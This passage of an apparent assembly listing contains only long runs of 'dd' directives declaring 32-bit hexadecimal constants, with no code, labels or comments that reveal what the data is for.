508058C8h, 0D7213816h, 3577F8C0h, 0C983004Dh, 520DE2A1h dd 870F2A4Bh, 20B0B81Dh, 5A553EA3h, 0B300035h, 93BB2B81h dd 450078FBh, 6BFE9236h, 0F49DC9Eh, 526A15D8h, 87A0CD8Eh dd 9FDF32F9h, 9B4D9771h, 908F00DCh, 0EC43E5EEh, 28FB0A7Dh dd 0BC72249h, 2382A67Bh, 0FC447ABFh, 5EB58F3Bh, 0D3E8BC70h dd 887A0F21h, 0AB807533h, 8CD0A46Ch, 0E38E9E00h, 0BEFFBC11h dd 71BDF0ECh, 82291F9Bh, 4BF1804Ah, 0CA73F76Fh, 0A49B818h dd 66C7D0h, 4CBED568h, 0C90B72C5h, 9C00194Fh, 0C6248BA5h dd 7D9901B6h, 0EA4B67DDh, 14E09D73h, 54A6FAC0h, 29113h dd 9B33DC9Dh, 0B0893F7Ch, 0E46BA000h, 0EC647994h, 0EE870265h dd 26188053h, 0C9002870h, 2C5F754Bh, 1D1257A5h, 5F2E3608h dd 0DC40EDFCh, 1473C7AEh, 17916509h, 1E9C0106h, 0CF20203Bh dd 98020038h, 248FEC2Ah, 0F300A2B6h, 4CFE3A0Dh, 1CAEB76Eh dd 0FF48F2h, 5069CBB2h, 900F8A2h, 96842E8Ah, 98DB4341h dd 18660310h, 2B30FA2Fh, 0C7F46803h, 809248C5h, 26EF6193h dd 9089865h, 5CC93B47h, 0FA847083h, 0A96FE100h, 6CF4119h dd 339F0EB8h, 9000DC6Ah, 0E5297C8Ah, 0C6D1272Eh, 0F69D8402h dd 0E7F8CB73h, 0B8B51AF3h, 749BC2C6h, 0B677482h, 37D72751h dd 39A1C4E0h, 5F96E601h dd 47B4CE92h, 0BB519D0h, 1A68E402h, 0FA9B7020h, 822E6573h dd 621D1E42h, 0E26C9400h, 72E54EF5h, 0D5DA00B4h, 0E632A179h dd 44A3EF9Ch, 0A37AC5A8h, 28C67228h, 4296BF0Ah, 0EF0090EBh dd 0B18D7AB5h, 8089FFE2h, 25009ACDh, 0C84289ADh, 37DA2900h dd 0EC11FF4Fh, 13B11F66h, 8A8C403Ah, 2BC247DEh, 0DC6ECE7h dd 0ADFE3200h, 0A96E16EAh, 8E52C0D9h, 0A8BFDE2Eh, 0AFE54A04h dd 0AE4F0Eh, 9215BDFDh, 0CB004861h, 0B63D916Dh, 0C02C82B1h dd 0B36374A9h, 0F0009DD9h, 61F24F41h, 74C120Bh, 0EC0A8490h dd 40DEB594h, 4B3E1AF4h, 2000F6B2h, 0ED615473h, 1ECCF7FFh dd 19C65BDh, 0A4E7844Dh, 6000D39Eh, 9436A3B8h, 302F32E6h dd 4779187Fh, 84A0BADFh, 0B600697Ch, 15037E65h, 14C4E5B3h dd 0D0D4B2D1h, 989B2C02h, 0AC5454E3h, 0A9029C80h, 0AD48DFh dd 0F8A45327h, 0ED982CD7h, 0FA9D7800h, 59FFAC51h, 6DD06C6h dd 0C1D64FE6h, 30984700h, 0D9F8B26Fh, 5A3900AEh, 4C67F583h dd 4A3C09C2h, 0CC1080EDh, 27D051BCh, 0B47A0756h, 800D1A5Dh dd 0FC954761h, 0A194B900h, 0A3B7E44Fh, 0FA600350h, 347FAF5Ch dd 0CB56E107h, 9E715836h, 0E7E4C9A3h, 9DAE00E4h, 2EAD69BDh dd 20925DB7h, 365C5918h, 60902F39h, 96ED1964h, 0F9C02E55h dd 8F159A98h, 85B3DC3h, 0E34F7E0Ch, 0F8007DD9h, 0B84E096Eh dd 0D5AA2A9h, 0AD97FBBDh, 0DBE63048h, 0A35CF900h, 92F53891h dd 37AA00B9h, 2397BA09h, 0F026065h, 3E6910C6h, 1404B5C9h dd 4461C44h, 0ADC3C1BAh, 108068D1h, 162C54Dh, 5F60E703h dd 0BA499E21h, 0B71B3073h, 0F70D2D39h, 0F9723100h, 61A89D6h dd 756D0049h, 0C2B824E7h, 0C31D0838h, 1E80E28Ah, 3CF410D1h dd 83D93944h, 68C8A980h, 1640BE92h, 0DD89BB06h, 0F27042B7h dd 0F5A201D8h, 793A5688h, 0C8A4C007h, 0FDF26905h, 1E834637h dd 0C9201DD2h, 0F46E459Ch, 0F82038D7h, 0BA12CC46h, 9D6820C1h dd 0AB20E11Ah, 0B5BB00D1h, 4F01402Ch, 2F150FC0h, 0A8CF44Eh dd 88453F03h, 86B084A1h, 5EA54Dh, 5BF79790h, 0B4742F72h dd 7EF9241Dh, 0EF2C4F80h, 6C1E883h, 0FD4CB83Eh, 88DC4843h dd 952905A2h, 80825328h, 0F7F5CCEAh, 260694E0h, 92594449h dd 21B040h, 0B8A371C5h, 83C48ADBh, 0E500CB7Ah, 0D83C34EEh dd 0A6290FFh, 0D44FB856h, 33608CF0h, 84F0D3B9h, 0EF79FD03h dd 0A9ADAA7Bh, 0BFC85AA5h, 3F040086h, 0D8831E76h, 0A0A0CAFEh dd 0BA61ED03h, 0B2CCB749h, 0E81ED4h, 0CA40C7BCh, 8796249Ch dd 6423139h, 0BBED6ADBh, 358F0131h, 176B7CCDh, 5A9D60CAh dd 890403E2h, 0A066633Eh, 8EED0C82h, 334EDD54h, 0E49A33Fh dd 0FA73C96Dh, 5CC5B1FCh, 8012509Ah, 0D51EEB27h, 0E866908Ch dd 0BABD4448h, 81D3AD20h, 702252B4h, 0B9F36A04h, 700F5E83h dd 210DE9BCh, 5742034Ch, 54007422h, 53170876h, 5C92B9A9h dd 0C0ED49C6h, 4F253C41h, 33DA0580h, 15716236h, 513D5330h dd 63D8BA11h, 0C9AE39B6h, 0C63F7909h, 80B4803Ah, 1F6E7C90h dd 0C10516C7h, 86179CE0h, 0D28C4074h, 0C2812399h, 0C0068A10h dd 87409301h, 4C71513Ah, 126FA020h, 1D763Eh, 895BE678h dd 0FC60AE56h, 0BA437B71h, 23DFC92h, 0C7B33357h, 5240E97Ch dd 360185B8h, 4E90DAE7h, 50835710h, 15452F05h, 0E118F100h dd 4D6B2C9Dh, 0D1CE601Ch, 0ED0DBF7Ah, 570352F2h, 67DEC85Eh dd 73401E4Dh, 0F218DCB0h, 0BC841DC0h, 0C9168626h, 64FE6F00h dd 116245DAh, 44320F47h, 0F2E27D50h, 55033528h, 10CFCBEh dd 7A002389h, 0D2E2899Ah, 0F9833AA3h, 39704730h, 2A001492h dd 8EB89693h, 0D0036C44h, 0AE72C2B0h, 2F410005h, 0F77CC29h dd 0A7703599h, 0C6564200h, 0D7AC2A9Bh, 0B6A00267h, 32602627h dd 3AA70448h, 4904B700h, 7AAE7DDAh, 0CE800019h, 5DFAC3DEh dd 8305EED2h, 63C7E86Ah, 86A1BC00h, 0DF0B44h, 339EC2AFh dd 19939695h, 9F843550h, 0CB444A13h, 0BC0B044Ah, 901F03C4h dd 3B587768h, 2E0B8098h, 70A3B192h, 0C3D507Fh, 0BC4CE927h dd 30008C6Fh, 0F9935E8h, 26B889E4h, 97F92D3h, 7C016DC5h dd 23693D4h, 262887E8h, 0A7BEED12h, 9607DD4h, 0E3056F8h dd 25FF4016h, 61E1D8A1h, 0D4683026h, 41B4C051h, 8CDD51B4h dd 513A6049h, 0D79100EFh, 4924E301h, 0E62618B7h, 12C02C0Bh dd 1D5E11Dh, 0A36EF04Bh, 0DC92529Eh, 0A9242C94h, 8C12CA4h dd 5062502Fh, 0F3E86E00h, 0A46D7547h, 0B9098893h, 0AECC90B0h dd 9206h, 0D918361Eh, 74C33BA2h, 0FD43F401h, 0AFBA4F1Ah dd 0B808F022h, 98A6790h, 193A98A5h, 4921CC1Dh, 0FFD1C0h dd 4C7C98B5h, 1DE7DA2Ch, 0A5D00A00h, 444D267Dh, 1BF0A903h dd 0A13903EFh, 0B137B5D6h, 146C6FCAh, 1C70441Dh, 0F58A0FA2h dd 31A08793h, 9239847Ah, 49834FCh, 0CA86400h, 2E27D2BAh dd 75791C8Fh, 26C32CA9h, 40CF4448h, 0B4629E37h, 0AF280FA8h dd 3482759Ch, 4C41D844h, 0B78471Bh, 0D4E52300h, 20932823h dd 4411FC26h, 30260A16h, 7C3D9700h, 0CF348900h, 4E62416Dh dd 14640556h, 4EFFAFE0h, 0ED6005D0h, 0D7F2858Ah, 4D08D00h dd 0D8C08281h, 98F43F21h, 601848C9h, 0CB266955h, 24B6A93Fh dd 171194CAh, 0CDC0B44Ch, 5ABCB972h, 0E5D83Fh, 5EE6527Fh dd 59D16F4h, 60197175h, 9EEC903Ch, 0C36286B8h, 6004E8B9h dd 9957A142h, 8299802Ch, 66F4C319h, 30AB800h, 0D040B6C6h dd 73F2749Bh, 0AFAE1245h, 0F75C6072h, 0BA02E32Fh, 0A4874784h dd 22AB40A1h, 0B9D42E0Ch, 1EBCC82Ch, 2C946460h, 0D8D502A0h dd 8527BA1Ch, 405D5870h, 20B83F2Eh, 0CB89B2B9h, 24994927h dd 66F86126h, 35A21258h, 7180B437h, 7159C4Eh, 76DC794Fh dd 0C2BA1281h, 0E94C108Ah, 0D2D64C07h, 3864AE43h, 0B11BB900h dd 0A4F47A81h, 8B4C9993h, 0A8101CF6h, 0C00C427h, 16D5F6Ah dd 24AE0D7Ah, 4374BEB9h, 51784BB8h, 0F67E64B2h, 3B51B0B2h dd 0D68C4C58h, 0AB608B05h, 5CC1396Bh, 0A4315AA1h, 0E2799C02h dd 51990C70h, 749161h, 8856C6AAh, 7C0068A6h, 0E59DC077h dd 10E5466h, 0A7F1E838h, 0A9323B9Eh, 278A24F8h, 0B7646C90h dd 997ACC40h, 0E50079CDh, 0F83CE2E9h, 6F501h, 5B7E75C1h dd 4E75F6Dh, 909193Ah, 0B008212Eh, 1D5600Ch, 0C08B5A51h dd 66C1BC81h, 809D230Ch, 23E6BA1h, 79481327h, 0A16C008h dd 913C8Ch, 0EB93B025h, 4EB6CFFAh, 2B9C5119h, 20366CB8h dd 0B0BA9B04h, 0CEAE45CFh, 4785C041h, 0E0F4993Ah, 786E04E2h dd 88382E76h, 0B854ED7Ch, 0A4015FACh, 0B7A112BEh, 64D82BF6h dd 0B50706CBh, 0C86DACD3h, 5C605322h, 0D48080EAh, 0B5D5AA39h dd 0BCBBAC15h, 952980E0h, 4028Fh, 4CB615CBh, 763F0892h dd 1C323504h, 0B4C852B9h, 0D46C54F7h, 50DB4DBCh, 0E00CE22h dd 120331A3h, 0AEFD65F4h, 982E58E0h, 0E3AF27F1h, 0FB07E901h dd 85F673B0h, 16F3006Eh, 53829A22h, 65C09B03h, 86AEB98Ch dd 47E60031h, 0BB18851Dh, 0DD78195Ch, 31DA2602h, 0CDC87C80h dd 730982B8h, 0C60352Bh, 38947297h, 0F6A2901Fh, 604CB1D8h dd 5305247h, 0F966C700h, 566E1978h, 84365CA2h, 89153A08h dd 0CCE9FF18h, 2DED0BA8h, 0D016005h, 0DF6FFC1Ch, 2A178BF8h dd 2F0EC705h, 8C21C84Ch, 9E114140h, 0E907626h, 0A16DA288h dd 71BBE890h, 7D6C828h, 4BF92520h, 52B8B001h, 61C98CB7h dd 0FEF512Fh, 0EE865E38h dd 0B768FA80h, 0E1256E9Eh, 1B58876Ch, 2DC1EF30h, 97289452h dd 6C843221h, 0B81B8C68h, 82FA8CA8h, 80A82938h, 0EEE99F94h dd 2634F38Bh, 0C0C056FBh, 0E5BA3010h, 0E86B800Eh, 8902124h dd 8DC01F9Ch, 6E2900C4h, 95AD5431h, 262CC577h, 2D618013h dd 9049F73Ah, 1B1248EDh, 0C500D852h, 5398978Eh, 0E8B48Dh dd 60AB513Dh, 8F0A686Ch, 0AB4CB825h, 60100858h, 0F3BA5900h dd 708B91Fh, 7D674FF2h, 0D252E098h, 1893B107h, 0A2CCE301h dd 0A8486068h, 889D00CAh, 32CF0641h, 77396385h, 88945802h dd 0F7398F3Ch, 5A0F9AC0h, 504C5505h, 29881010h, 145F28h dd 43C77653h, 34D0D626h, 80ECA74Dh, 0BE4CA401h, 0CEA03E9h dd 6321E135h, 4D2E3F80h, 3D80454h, 86D03C58h, 0F9E9512Dh dd 1E9EA858h, 0C537548Bh, 20081828h, 0BBBA2174h, 29047C91h dd 11EC3E8h, 70D3D6B9h, 8942893h, 0A868D286h, 0CC14E59Ch dd 59007174h, 0EDE8C05Ch, 249D0DDFh, 12941C6Ch, 0B818C0A5h dd 1CA1BC95h, 22C5103Bh, 0DC1C0474h, 0B304E548h, 82140270h dd 41FE4AD8h, 0A997212Ch, 9CEE069Dh, 0D896E0E7h, 882A0408h dd 50A6B9C3h, 6011BF11h, 78020258h, 0B0C12628h, 0A3FCB8h dd 0FBDF065Eh, 152A03CEh, 0E002748h, 2ABA7F5Fh, 29042CC4h dd 0B640C1EDh, 0F2654752h, 30410E02h, 64AEA508h, 163D0070h dd 53588671h, 0A7022510h, 9C0A1ACh, 1124738Ch, 370779B9h dd 95BDB41h, 0BE45E030h, 0E6730E3Dh, 420680A0h, 9E12C977h dd 9444CDAEh, 0C0AED253h, 77E3141h, 0A428E850h, 9AB6D404h dd 0EF80A946h, 2A3ECB8h, 0D2CFA8DFh, 7C450836h, 1F93C400h dd 594CB55Eh, 0EA240CC0h, 48CA400Ch, 850284A0h, 94C052BCh dd 4C244236h, 490D6000h, 2E4A6BAFh, 0A9CA467Ch, 4B0024EDh dd 25DDB148h, 0D5A8A1A4h, 1A0D9310h, 49007F72h, 0D014DF66h dd 19130DEh, 110541C1h, 803F0B5Fh, 5BFB8F60h, 68266Ah dd 0B9221D7Bh, 895FB609h, 0ABBA450Bh, 4CF43C72h, 0B080C4AEh dd 8AF2841Fh, 0A340E716h, 849E1049h, 74A40784h, 634E88BBh dd 0F80FE676h, 40775152h, 0E10DD24Ch, 96E0998Dh, 0E5C307Ah dd 91C0370h, 0AF4FBBFAh, 430073C8h, 3169F5ECh, 0C4E70153h dd 1EE93560h, 0D132C18Ch, 39E42727h, 75EDC46h, 372E9B05h dd 6C591A27h, 0B6081CB0h, 0B0A1BA46h, 0E1333680h, 0E948CCh dd 0F2015030h, 7F39B12h, 3B83F0A3h, 0B12C889Ch, 109C844h dd 0BF24E4FFh, 0CDFED2ECh, 0DEFD10D5h, 0DF1200B5h, 3AE66C52h dd 8D003805h, 0F881C37Ch, 2509BA65h, 0C206035h, 0E9FC4D42h dd 7C3F7600h, 7B8C795Ah, 0F2B2ED0h, 0B4EB1530h, 0CD306448h dd 273F3081h, 920995E6h, 1435CE17h, 40615A34h, 52CD4A9Ch dd 2E00C385h, 4BA2DF02h, 7422F87h, 0C4FF7A32h, 30ECC0AEh dd 48B0371Fh, 9A50C102h, 404526D2h, 34F37C28h, 40289DAFh dd 0C1B9D99Ch, 413870FEh, 5CC0018h, 6FA26AF8h, 0B726049Fh dd 0D11D08h, 82BCC63Eh, 463809AAh, 0F01B3DC0h, 383AA822h dd 7700BF86h, 8A9DFCE4h, 8407AC91h, 100D21E8h, 6DC79897h dd 99F0EA81h, 9293D832h, 802EBED8h, 1140389Fh, 0DB4203C8h dd 3529B68Dh, 622735C7h, 64521BACh, 0E50788A0h, 41CC4C00h dd 0FB4A8EA1h, 889B62h, 0FC2E0C02h, 5C2720C2h, 83020EAh dd 33835Eh, 61BB9C15h, 2CB31A95h, 0B0ADBF27h, 142FF08h dd 465D2178h, 0EBCE0623h, 1468329Dh, 41430321h, 96CE6900h dd 0AC35D00Ah, 0BD04D44Eh, 34D2B052h, 27B07903h, 2F01D030h dd 8C31525Ah, 0F70B989h, 0A56304A3h, 0DC7FFDBAh, 0B18C9E08h dd 65588774h, 43B3B0DCh, 0D8031F42h, 0AECAC383h, 0AFB024BAh dd 552740ECh, 710BFE1Dh, 570E6025h, 0E2569700h, 649C3362h dd 6EFB5940h, 0C4AA0967h, 1480D721h, 708C07CAh, 5D1FB50Eh dd 0D834CA2Fh, 9E251B11h, 0C5B52C10h, 0A998F275h, 0D9B3C800h dd 0C1CC5080h, 4FCA013Ch, 0B1A37698h, 703180C7h, 54871CDAh dd 0D68A094Dh, 0FE8622A5h, 0E4839148h, 2F38DCD5h, 41F84D35h dd 9DFDE081h, 79A8FC4Ch, 0EB600F9h, 67A4A71Ah, 22166299h dd 9400088Fh, 2350AD1Dh, 0D02E5460h, 90EA00F8h, 0A0051317h dd 0D17A2A31h, 0D9280305h, 0CCA669EBh, 0C54EB883h, 0CBE3790Eh dd 0C805F7C6h, 489744E0h, 69566D0Eh, 72D33083h, 0C29DA1BAh dd 3F3CAD38h, 0F3040AFFh, 0F63282EAh, 90B00F8h, 0E134FC75h dd 777116F1h, 6C008895h, 45279A00h, 6179601Dh, 7EE600D2h dd 0BDA9FA31h, 5A12094Eh, 44DA766Dh, 88B8125Ah, 0D39ED80h dd 8079B8D4h, 0B1A43A8Fh, 58D226B8h, 2022B02Fh, 56CC90A3h dd 7FD8C800h, 0A649B9F5h, 900C23E8h, 98901D12h, 822330h dd 5BA5AEAFh, 0ABD9EF5h, 7AD2C601h, 0CC31B95Fh, 0F42104FDh dd 0B2C820F6h, 3D01608Dh, 0B0AD29F4h, 5468664Bh, 0B2452DC4h dd 273F2364h, 40A9019h, 0C30724F2h, 64C4722Ch, 862708A7h dd 51CC472Dh, 48163030h, 0F1742C4Fh, 2E84646Ch, 0DC6D0A43h dd 0F85952h, 35AA93D4h, 0A00BD990h, 182B914Dh, 3C5E3A44h dd 0B39E8E0Eh, 110C80E1h, 9ED1046Fh, 0B6057279h, 1C89A1DAh dd 76F8C8h, 65D294F6h, 5696B0E3h, 0C60EE2FCh, 0CCAEF2CEh dd 0C529B5h, 0FDB0D647h, 0BEA5ACE0h, 850A5D00h, 0E66EC449h dd 0CEB12C97h, 3B03C10Ch, 442D112Ch, 204FF822h, 575C41E8h dd 46A7E900h, 8C4581E7h, 3C61222h, 0CA9C1379h, 0B8B91144h dd 4008AE26h, 5E20B60Ch, 0DCF7137Ch, 3090231Bh, 40721845h dd 2B683100h, 0B01A2A9Dh, 85C75707h, 0C91F1EE2h, 50C630h dd 186D9D95h, 0BA85EFD2h, 0AC65D75Ah, 0FB491431h, 28093011h dd 0F55EC390h, 654288E6h, 25050082h, 2FD3602Eh, 0D8B9A3CCh dd 0CD758840h, 20185FC6h, 9FC762F4h, 0FE812304h, 64F4A626h dd 1784B809h, 13FB5B92h, 4050C8E8h, 1928E100h, 76A1E030h dd 397C00BDh, 3092AD9h, 29C943E7h, 3F7CE1A0h, 0CB22C833h dd 110C94FAh, 0B272784Eh, 1608248Ch, 0BA0F6148h, 2920D2B0h dd 0FA2A03h, 0A47E4730h, 0A5FEAB31h, 6135891Eh, 0E95071F0h dd 95A900F3h, 0C4970A05h, 9C2573D3h, 7E50447Bh, 723F0025h dd 0C05ADEBDh, 6B0B3274h, 80093DC2h, 0E87ED687h, 74355927h dd 0C6683096h, 490032CAh, 713115FDh, 2CC676Dh, 0BE04E7A2h dd 14D1B9F3h, 111D25BAh, 2D114384h, 60E84C4Dh, 72BC60A0h dd 3880D100h, 0D90D53A4h, 87290D2Eh, 29F933A5h, 49B8C4B8h dd 6061C0F4h, 3FCA4931h, 0D800A695h, 86904F38h, 3FBEB37h dd 0D42CCB50h, 70CAF2A9h, 0DCE7A480h, 41E09CB5h, 0A06C2F45h dd 0FD5EA380h, 0BD3C826Fh, 4E630877h, 3A458899h, 7AA09E98h dd 39BEF32Eh, 3284352Bh, 920C2A8h, 1690BDE7h, 0C2268685h dd 8920CF10h, 5569105h, 0E7938CD1h, 0D8F2B9h, 32B5342Dh dd 8D288h, 4EC33DAFh, 0B1055551h, 0BB2598B8h, 0AB49378h dd 0DF4F848Ch, 4004E09Ch, 14396DCAh, 5FD708AEh, 8CF8033h dd 0C3B0AB21h, 0D8190100h, 0C5E16432h, 85AC2711h, 6D1D3819h dd 227C9408h, 61B83D57h, 4104CAFh, 71E25F8Ah, 0E30FE200h dd 7C2FABC4h, 1326206Ah, 91472900h, 66D3A0FEh, 82BF994h dd 9350C514h, 0FF7D1EB1h, 0D6E94038h, 5C3405Eh, 5A1E347Fh dd 1E474BA0h, 0FBF03577h, 12E86DD5h, 28716BF1h, 395060B0h dd 853C2E7Ch, 0BD1905EFh, 48C00A33h, 293B8D6Dh, 97C70D4h dd 98657430h, 808C5F01h dd 0F198B41Ch, 8D741E3Dh, 0ACC29700h, 0E21EC795h, 7A170481h dd 0B4D07B6Fh, 2E44E79Ch, 340B11Bh, 6F7959FDh, 0D47325A9h dd 88A1895Dh, 0CC2209D1h, 0F9324600h, 8E67B17h, 51064316h dd 93F6C60h, 0D23B332Fh, 0D5F8DF31h, 6030352Dh, 25337934h dd 0E62E032Fh, 0A9E701D7h, 8311CFA8h, 0F3730E00h, 0ABAA3179h dd 19932633h, 52B8C10Ch, 97834B6h, 0D20380A6h, 0ECAF8053h dd 982AD82Dh, 0A37F00E4h, 5EAC9E51h, 0A2E693Ah, 2438C1Dh dd 0C154E108h, 946660h, 0A0F3E363h, 90151F8Eh, 2450760Bh dd 2D0CB8B6h, 9E84A43Bh, 0A7609B8h, 93873001h, 48AC68EEh dd 745C00E4h, 3C5EB5F0h, 9C20F93Fh, 0B90840BDh, 0A2813CB1h dd 0C5882C4Ch, 20781872h, 0D09E4236h, 1F5BBF40h, 0F6D200B6h dd 26E0D413h, 237D3BD6h, 2B2A1502h, 5309C69Bh, 2F020E90h dd 0BC9721FDh, 98ECE0C9h, 1A4005EDh, 0B3472E74h, 4BB846A8h dd 87BC848Ch, 188D7412h, 7BC202Eh, 0C43C83F5h, 0BBB9807Eh dd 55E4FA43h, 764F004Dh, 0CAB28F90h, 0F32F69CEh, 0E834A0AFh dd 487E39EBh, 3122406Dh, 0E48B9D2Ch, 6E299860h, 0E12417E8h dd 2BD430BEh, 6D171AB7h, 8C0083B6h, 6CAADC05h, 6C1B9728h dd 74CF8C2Ch, 51433C62h, 0BA350E04h, 99D2D034h, 0C20FAB8h dd 0C02395C4h, 0AAF950C0h, 0E05DA1CCh, 0CDB01168h, 0C351B809h dd 453A24D1h, 5F10841h, 0FCE305h, 89E1A0B4h, 129E276Ch dd 3AA1452h, 3402A430h, 90F29Ch, 0B72F0308h, 241CFD50h dd 4380AD6h, 0F282ED9Fh, 14130038h, 196543E1h, 4E2E2C37h dd 3CEC25CCh, 0CB847400h, 50EED520h, 200093A6h, 413E2290h dd 0D8AFBC01h, 4FB8A439h, 6D2449BEh, 40C2E400h, 0FF8D3C70h dd 0F4E25C19h, 0E0A2D088h, 0A0090E13h, 93949881h, 112F3F11h dd 0C22472Dh, 0D441527Ch, 64381826h, 924F090Eh, 0F24D1D8h dd 0AEE03BD7h, 918436F7h, 34ADA900h, 4CE3DF45h, 0C190C838h dd 770E4A5h, 58E07985h, 4F0C203Fh, 0D901FAF6h, 5107DEB9h dd 74E9E96Fh, 0DFA020h, 91B756Eh, 0AED87CC5h, 3234C0Eh dd 84985632h, 8A524A2Dh, 0C40D0094h, 44D91236h, 0C76C164Fh dd 162D00F3h, 3BE7AA99h, 5214E8B3h, 7600DDB8h, 11D22E35h dd 8ECC5CA9h, 7E501309h, 14C30041h, 60E6F08Ch, 0DAEB924Ch dd 0CD0447CEh, 0BBD5BA51h, 628314F8h, 0C793C62Dh, 3C2CD9A5h dd 1813C060h, 0EEF636E1h, 442E1455h, 8DD2D0C8h, 0B8018A8h dd 6049B928h, 0B8B0702Dh, 8B38CE0h, 5178C3ACh, 4D40BA44h dd 1E853CA4h, 71F4CA78h, 0B52F2404h, 0ECB80F21h, 9E008F22h dd 9A53FB8Bh, 990E3F02h, 881D4488h, 0E50046E0h, 66FB8463h dd 0A6AA38h, 296A81A7h, 0B6D953DDh, 0C8312C02h, 0E0F7AB39h dd 38F557DCh, 3D115661h, 4C9E0955h, 0EEBC8BBAh, 293B5E08h dd 0CF0FF420h, 98E99D24h, 8647B9E4h, 0C0808462h, 182B4AE5h dd 2A327207h, 828B0644h, 0D14D2E5Ch, 90601218h, 0F7261440h dd 5EA7F800h, 95E50C76h, 347F07B8h, 494DF25Fh, 79938841h dd 0CFC0C00Ch, 780E7498h, 1ED0F689h, 15A62DEFh, 3C2FC1Dh dd 40515843h, 28C8394h, 0A88C5EE9h, 4E54D31Ah, 389829E9h dd 0B500B177h, 0EFD9BA41h, 2AEEE92Eh, 687257h, 97F25993h dd 0FFE6C747h, 468E1F00h, 51392991h, 0DE52FC4h, 0DF26EC80h dd 881E2E70h, 4FC40818h, 0ACD0F551h, 8ABAAFB9h, 6D0E3CF1h dd 0F2DD6756h, 4C8B2B51h, 9F0D838h, 920926CAh, 0DAB189D5h dd 2E9900FCh, 596BD3ACh, 14F2F00Dh, 0D009B87Fh, 0F1BFB178h dd 5074004Ch, 0A45673A3h, 714CA900h, 0B52352Eh, 9CB3959Fh dd 89879EEBh, 621B8C49h, 0CB10020h, 0BDC5ED21h, 17E30192h dd 2B9B84E9h, 26E0CBB0h, 1C076490h, 5BFC745Dh, 20F93494h dd 98E41BA2h, 0D137B600h, 46BAB860h, 0DAAA0149h, 3F7E5754h dd 0AF7FE867h, 160CCB2h, 4E553AF9h, 0E04A1CC5h, 96AE8197h dd 0E4181481h, 0C60E190Eh, 97129D1h, 209C71E9h, 8B920C8h dd 68405F4Eh, 0AD05A530h, 0D5901F42h, 36D2C1EBh, 6679F9C0h dd 9E9500F4h, 569D426Dh, 88607388h, 4C05813Ah, 0FC1DF499h dd 0E448CCA3h, 802150C4h, 0B2653092h, 0C072100Fh, 0E92A0015h dd 134E9177h, 0B33BCCBCh, 0D0D711F4h, 7188B849h, 48081A17h dd 0C03545B5h, 8B025C55h, 0F8AE8424h, 24A2943h, 2D1AD44Ah dd 58D63464h, 9F694208h, 693DD9BAh, 0BA784DA1h, 50304578h dd 6DA288C6h, 27C0C404h, 24B45FEEh, 355900BCh, 24802CA0h dd 215F5AABh, 0C8A2C065h, 83F38100h, 148AA09h, 0DB9D800h dd 3322D605h, 746712C4h, 2F34DC91h, 61BF880Ch, 1CB712Eh dd 84F45A2Dh, 0E817FD4Bh, 0E20040D2h, 74376319h, 97ED266Ah dd 5DEC2Bh, 3F507577h, 2D84043Ah, 80576D4Dh, 0AA9714F8h dd 0C145ACA6h, 0D280407Ch, 2AA04764h, 450DB200h, 4EF128A6h dd 0D58F2618h, 0A405C0ECh, 0B9F6DD61h, 8490250Bh, 73D0054Ch dd 713282BBh, 1493A859h, 0A87C248Dh, 0F4B1E280h, 0B33D3676h dd 10C5AF33h, 27130Ch, 2E5F13Eh, 3D39EB50h, 63345804h dd 0D4AC78AAh, 0F962C28Eh, 0F0E166AEh, 227C22CDh, 0B3D30255h dd 369AFB12h, 8114006Ch, 0C8FC4AB8h, 6D9D42D5h, 13E69EE0h dd 44B890B5h, 0B1CA0CBCh, 0E1C112Ch, 857BE53Fh, 4EFFC1FBh dd 0E0847825h, 5D002C8Bh, 6AB67FFDh, 70483CE7h, 45942D3Dh dd 5ABAB4h, 0D619C04Ch, 6898C649h, 634534B2h, 18878430h dd 61C4ADBAh, 402EB49h, 0F7D944A5h, 2CCCDC43h, 88BC1084h dd 154181C3h, 38E76048h, 6D0FC024h, 2A8C49Bh, 6E29B968h dd 0ACEE1D3Eh, 80806499h, 27F9CE0Ah, 4CF7828h, 0A9D1463Dh dd 5AE0B36Bh, 52BC74D0h, 27389428h, 0D3AE7810h, 57BB0D00h dd 5EE2AD41h, 0BF34939Eh, 0D386B98Ah, 223E4ED4h, 70D3AE4Bh dd 744F03Ch, 2DEE188Fh, 2EEBBEB3h, 6A16C176h, 74981DB2h dd 17458805h, 62DBF702h, 742E3642h, 9C4CEBE4h, 7910CA04h dd 5E40BB1Ch, 0EB7A606Ah, 0B22C7700h, 25E2B43Bh, 444C3DD6h dd 3A84445Ah, 7C7022FCh, 0CF974014h, 0AC7CD45Ch, 810BC17Bh dd 3B8905CCh, 98B0DC54h, 5EB88857h, 0B5F24100h, 0F37D1F46h dd 59304827h, 867B3704h, 88C48093h, 0E7486F51h, 8E05C084h dd 560C3913h, 0A26E8BCh, 0D308C0C8h, 0E85402FDh, 3F1F5C38h dd 0C5D7A3CFh, 1EF61830h, 0C1EB0048h, 16E83E7Bh, 0E0E1FEC8h dd 1812396Fh, 5808BF09h, 0D01B934Fh, 67052704h, 0B96BB00h dd 4D43CD53h, 2BCB00A7h, 0B70C2026h, 1C166CC3h, 83584B9h dd 51095472h, 0FFC9002Ch, 528BF51Bh, 0CE7D4A26h, 0B9CC0D00h dd 25A481DBh, 84104EB8h, 0E31FE09Bh, 9513D757h, 2F09B490h dd 6EC08B46h, 25B4B31h, 2CE9073h, 8CF5FD49h, 185BDA5Fh dd 0A5BE4A08h, 5D079090h, 5FB3A20Bh, 0D0844222h, 49850424h dd 926939B5h, 2D2453ECh, 41C8DCE8h, 62254C64h, 84466D10h dd 0E500A2EEh, 47D9834Bh, 0B9BD94h, 39BC31BEh, 0BA214068h dd 53C4D652h, 0A3CB0084h, 545A4CAFh, 13B10040h, 0C2DB17B4h dd 0E526D8B0h, 0B6C40012h, 70909340h, 0AB00B0DEh, 988B9D88h dd 90C23F7h, 0AFF8F46Eh, 7B619CC8h, 28EB5500h, 0A9C31838h dd 0FE71681h, 0C80C74AAh, 19715C44h, 4B002E74h, 1847F684h dd 2577384Dh, 14432572h, 0F31140D4h, 1823DB4h, 0AA057E2Dh dd 0F45CD934h, 7D01FE74h, 0F5CF11BAh, 7842532Eh, 1852EDh dd 0D27F5893h, 5106B97Ch dd 2E023CFAh, 0D5D83FFDh, 0CE90C2BDh, 0B86D0818h, 980CC49h dd 0BF78FBFFh, 40A0BC67h, 0BEDCEA1Eh, 0C1C6400h, 447B1BABh dd 0D77A21h, 84DBD05h, 0DB06C79Ch, 98A30C2Fh, 489D9E84h dd 788024EAh, 0DDE32C25h, 1EDB2305h, 90A7A046h, 7915697Ah dd 82472090h, 8B4CB513h, 2958F482h, 277E0844h, 0DBB08702h dd 59198E38h, 0ECFA863Ch, 0BC0029B6h, 